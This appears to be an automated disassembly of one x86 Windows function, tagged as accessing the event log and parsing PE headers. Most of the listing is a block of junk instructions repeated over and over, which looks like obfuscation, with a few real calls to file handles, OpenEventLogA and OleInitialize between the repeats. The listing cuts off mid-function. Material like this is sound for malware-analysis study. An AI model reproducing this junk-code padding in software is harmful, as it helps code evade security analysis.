Function at 0x5d0620
Capabilities:
Access the windows event log
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
xor eax, eax
push esi
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0xffffffff
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x62129c
call dword [ebp + 8]
mov edi, eax
mov dword [ebp - 8], edi
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov byte [0x6212a1], 0x76
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov byte [0x6212a2], 0x67
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x62129c
call dword [ebp + 8]
mov dword [ebp + 8], eax
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
cmp edi, dword [ebp + 8]
je 0x5d1141
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
cmp edi, dword [ebp + 8]
jae 0x5d0ef5
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov dword [ebp - 0x10], edi
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
jmp 0x5d107f
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x5d20ba
mov al, byte [0x6212b7]
test al, al
jne 0x5d20ba
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov ecx, dword [0x621588]
push 0x83
push ecx
call dword [ebp + 0xc]
mov edi, eax
mov dword [ebp + 8], edi
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test edi, edi
jne 0x5d13e3
mov al, byte [0x6212b7]
test al, al
je 0x5d13ce
mov edx, dword [0x621588]
push 0x84
push edx
jmp 0x5d13db
mov eax, dword [0x621580]
mov ecx, dword [0x621588]
push eax
push ecx
call dword [ebp + 0xc]
mov edi, eax
mov dword [ebp + 8], edi
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test edi, edi
je 0x5d170c
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
push str.LOGO_report
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov edi, eax
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
push 0
call dword [sym.imp.ole32.dll_OleInitialize]
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
jmp 0x5d170f
mov edi, dword [ebp - 0x14]
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
